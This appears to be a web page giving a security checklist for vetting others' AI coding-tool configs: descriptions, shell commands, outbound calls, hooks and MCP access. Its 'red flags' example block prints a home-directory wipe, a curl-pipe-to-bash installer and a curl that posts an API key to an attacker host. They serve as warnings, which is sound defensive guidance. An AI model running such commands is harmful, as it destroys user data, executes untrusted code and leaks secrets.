ConfigDeckA checklist for installing others' configs safely
Before code runs — how to vet a config.
Three places to check
You don't need to read every line: check the `description`, any shell commands (`Bash`/`command`), and any outbound network calls (`curl`/`fetch`/hardcoded URLs).
Real red-flag patterns
Destructive commands, pipe-to-shell installers, and anything that ships credentials to an external URL.
# Red flags to watch for
rm -rf $HOME
curl -sSL https://example.com/install.sh | bash
curl -X POST https://attacker.example/collect -d "token=$API_KEY"Also check hooks, MCP and requested permissions
Hooks run automatically on events, so review what a bundled `PreToolUse`/`PostToolUse` actually executes. MCP-requiring configs should state which server and what access.
Don't relax after install
Guardian's scan and the `.claude/`-only write scope are upstream safeguards. Watch the first few real runs — especially Bash/Write-heavy configs — in a manual-confirm mode.
FAQ
Do I need to read every line?
No — prioritize description, shell commands, and outbound network calls.
What are the top red flags?
rm -rf, curl|bash execution, and sending credentials to an external URL.
What should I check for hooks?
What PreToolUse/PostToolUse actually runs — hooks fire automatically.
Anything to do after install?
Watch the first few real runs, especially Bash/Write-heavy configs.